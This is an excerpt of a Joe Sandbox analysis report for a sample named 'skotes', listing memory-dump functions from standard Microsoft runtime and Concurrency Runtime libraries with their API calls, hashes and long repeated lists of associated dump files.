Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 3403738998-0
Opcode ID: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction ID: 0c15ea32bf521d40b1e36a1810f1de6b81a0b6c386da001b6cc8a45717db0044
Opcode Fuzzy Hash: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction Fuzzy Hash: 76514C71A00219ABDF08DFA4C695BEDB7B8BF48314F054069E915EB282DB34FE45CB90

Function 009C52A5 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 009C53A0
type_info::operator==.LIBVCRUNTIME ref: 009C53C7
___TypeMatch.LIBVCRUNTIME ref: 009C54D3
IsInExceptionSpec.LIBVCRUNTIME ref: 009C55AE
CallUnexpected.LIBVCRUNTIME ref: 009C5650

Strings

csm, xrefs: 009C52E0
csm, xrefs: 009C53FE
csm, xrefs: 009C534D

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 4162181273-393685449
Opcode ID: ca24651f11588ca13e5f3aa5fe35414372012d40f724762a3c68da5a68664722
Instruction ID: 5b88c4c82cf2b4d4f31cc0b286fa5c082258168a830b7d6821b105b7760b3a01
Opcode Fuzzy Hash: ca24651f11588ca13e5f3aa5fe35414372012d40f724762a3c68da5a68664722
Instruction Fuzzy Hash: 61C16871D00649DFCF25DFA4C880FAEBBB9AF54311B42415EF8016B212D771EA91CB92

Function 009B7364 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 009B73B0
Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 009B73F2
Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 009B740E
Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 009B7419
std::invalid_argument::invalid_argument.LIBCONCRT ref: 009B7440

Strings

ppVirtualProcessorRoots, xrefs: 009B7438
count, xrefs: 009B737E

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementstd::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 3897347962-3650809737
Opcode ID: fae53dd1b82f956213f977bce41134f5c96d313abe4e193c8590d7034ecc88a0
Instruction ID: 2b63248cc90702ccb72f6cc6b9e738ea35cac1db27be3e2ae7214210e72b02d0
Opcode Fuzzy Hash: fae53dd1b82f956213f977bce41134f5c96d313abe4e193c8590d7034ecc88a0
Instruction Fuzzy Hash: AE215334A04209AFCB10EF95D695AEDBBBABF85324F144169E905A7361DB30AD00DF90

Function 009B78E1 Relevance: 12.1, APIs: 8, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 009B7903

Part of subcall function 009B5CB8: __EH_prolog3_catch.LIBCMT ref: 009B5CBF
Part of subcall function 009B5CB8: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 009B5CF8

Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 009B792A
Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 009B7936

Part of subcall function 009B5CB8: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 009B5D70
Part of subcall function 009B5CB8: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 009B5D7E

Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 009B7982
Concurrency::location::_Assign.LIBCMT ref: 009B79A3
Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 009B79AB
Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 009B79BD
Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 009B79ED

Part of subcall function 009B691D: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 009B6942
Part of subcall function 009B691D: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 009B6965

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Scheduler$ContextThrottling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_ExerciseFoundH_prolog3_catchNextProcessor::RingSchedulingSpinStartupTicket::TimerUntilWith
String ID:
API String ID: 1475861073-0
Opcode ID: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction ID: e54e535c2a9ac98e249a7cbad7a9299c15f0a6050c8e11ba81ccb58407ff63d4
Opcode Fuzzy Hash: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction Fuzzy Hash: 8F312730B08255AECF16AAB846927FEFBB99FC5720F0406A9D485DB242DB245D4AC3D1

Function 009C4840 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 009C4877
___except_validate_context_record.LIBVCRUNTIME ref: 009C487F
_ValidateLocalCookies.LIBCMT ref: 009C4908
__IsNonwritableInCurrentImage.LIBCMT ref: 009C4933
_ValidateLocalCookies.LIBCMT ref: 009C4988

Strings

csm, xrefs: 009C491D

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: b4c89acc8470d9967c3eab5d754b592e53fb9dd6f390d583296808a8ef1e15bb
Instruction ID: c9a5da762b3032473886e2e04c9a92d12e3ed5f23df508ec44e12436deca190d
Opcode Fuzzy Hash: b4c89acc8470d9967c3eab5d754b592e53fb9dd6f390d583296808a8ef1e15bb
Instruction Fuzzy Hash: 5A41E634F002599BCF10DF68C894F9EBBB8AF45714F14815DE8145B392C771AE51CB92

Function 009BDD18 Relevance: 10.6, APIs: 7, Instructions: 117threadCOMMON

Download Yara Rule

APIs

Concurrency::details::UMS::CreateUmsCompletionList.LIBCONCRT ref: 009BDD91
Concurrency::details::InternalContextBase::ExecutedAssociatedChore.LIBCONCRT ref: 009BDDAE
Concurrency::details::InternalContextBase::WorkWasFound.LIBCONCRT ref: 009BDE14
Concurrency::details::InternalContextBase::ExecuteChoreInline.LIBCMT ref: 009BDE29
Concurrency::details::InternalContextBase::WaitForWork.LIBCONCRT ref: 009BDE3B
Concurrency::details::InternalContextBase::CleanupDispatchedContextOnCancel.LIBCMT ref: 009BDE4B
Concurrency::details::UMS::GetCurrentUmsThread.LIBCONCRT ref: 009BDE74

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
